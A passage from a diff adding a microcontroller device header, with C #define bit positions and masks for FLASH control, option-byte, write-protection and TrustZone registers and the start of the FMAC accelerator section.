FLASH_NSCR_EOPIE_Msk /*!< Non-secure End of operation interrupt enable */ +#define FLASH_NSCR_ERRIE_Pos (25UL) +#define FLASH_NSCR_ERRIE_Msk (0x1UL << FLASH_NSCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_NSCR_ERRIE FLASH_NSCR_ERRIE_Msk /*!< Non-secure error interrupt enable */ +#define FLASH_NSCR_OBL_LAUNCH_Pos (27UL) +#define FLASH_NSCR_OBL_LAUNCH_Msk (0x1UL << FLASH_NSCR_OBL_LAUNCH_Pos) /*!< 0x08000000 */ +#define FLASH_NSCR_OBL_LAUNCH FLASH_NSCR_OBL_LAUNCH_Msk /*!< Force the option byte loading */ +#define FLASH_NSCR_OPTLOCK_Pos (30UL) +#define FLASH_NSCR_OPTLOCK_Msk (0x1UL << FLASH_NSCR_OPTLOCK_Pos) /*!< 0x40000000 */ +#define FLASH_NSCR_OPTLOCK FLASH_NSCR_OPTLOCK_Msk /*!< Option Lock */ +#define FLASH_NSCR_LOCK_Pos (31UL) +#define FLASH_NSCR_LOCK_Msk (0x1UL << FLASH_NSCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_NSCR_LOCK FLASH_NSCR_LOCK_Msk /*!< Non-secure Lock */ + +/****************** Bits definition for FLASH_SECCR register ****************/ +#define FLASH_SECCR_PG_Pos (0UL) +#define FLASH_SECCR_PG_Msk (0x1UL << FLASH_SECCR_PG_Pos) /*!< 0x00000001 */ +#define FLASH_SECCR_PG FLASH_SECCR_PG_Msk /*!< Secure Programming */ +#define FLASH_SECCR_PER_Pos (1UL) +#define FLASH_SECCR_PER_Msk (0x1UL << FLASH_SECCR_PER_Pos) /*!< 0x00000002 */ +#define FLASH_SECCR_PER FLASH_SECCR_PER_Msk /*!< Secure Page Erase */ +#define FLASH_SECCR_MER1_Pos (2UL) +#define FLASH_SECCR_MER1_Msk (0x1UL << FLASH_SECCR_MER1_Pos) /*!< 0x00000004 */ +#define FLASH_SECCR_MER1 FLASH_SECCR_MER1_Msk /*!< Secure Bank 1 Mass Erase */ +#define FLASH_SECCR_PNB_Pos (3UL) +#define FLASH_SECCR_PNB_Msk (0xFFUL << FLASH_SECCR_PNB_Pos) /*!< 0x000007F8 */ +#define FLASH_SECCR_PNB FLASH_SECCR_PNB_Msk /*!< Secure Page Number selection */ +#define FLASH_SECCR_BKER_Pos (11UL) +#define FLASH_SECCR_BKER_Msk (0x1UL << FLASH_SECCR_BKER_Pos) /*!< 0x00000800 */ +#define FLASH_SECCR_BKER FLASH_SECCR_BKER_Msk /*!< Secure Bank Selection for Page Erase */ +#define FLASH_SECCR_BWR_Pos (14UL) +#define FLASH_SECCR_BWR_Msk (0x1UL << FLASH_SECCR_BWR_Pos) /*!< 0x00004000 */ +#define FLASH_SECCR_BWR FLASH_SECCR_BWR_Msk /*!< Secure Burst Write programming mode */ +#define FLASH_SECCR_MER2_Pos (15UL) +#define FLASH_SECCR_MER2_Msk (0x1UL << FLASH_SECCR_MER2_Pos) /*!< 0x00008000 */ +#define FLASH_SECCR_MER2 FLASH_SECCR_MER2_Msk /*!< Secure Bank 2 Mass Erase */ +#define FLASH_SECCR_STRT_Pos (16UL) +#define FLASH_SECCR_STRT_Msk (0x1UL << FLASH_SECCR_STRT_Pos) /*!< 0x00010000 */ +#define FLASH_SECCR_STRT FLASH_SECCR_STRT_Msk /*!< Secure Start */ +#define FLASH_SECCR_EOPIE_Pos (24UL) +#define FLASH_SECCR_EOPIE_Msk (0x1UL << FLASH_SECCR_EOPIE_Pos) /*!< 0x01000000 */ +#define FLASH_SECCR_EOPIE FLASH_SECCR_EOPIE_Msk /*!< Secure end of operation interrupt enable */ +#define FLASH_SECCR_ERRIE_Pos (25UL) +#define FLASH_SECCR_ERRIE_Msk (0x1UL << FLASH_SECCR_ERRIE_Pos) /*!< 0x02000000 */ +#define FLASH_SECCR_ERRIE FLASH_SECCR_ERRIE_Msk /*!< Secure error interrupt enable */ +#define FLASH_SECCR_INV_Pos (29UL) +#define FLASH_SECCR_INV_Msk (0x1UL << FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0x1FFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x001FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0x1FFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x001FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0xFFUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0xFFUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0xFFUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0xFFUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0xFFUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0xFFUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0xFFUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x000000FF */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0xFFUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x00FF0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define 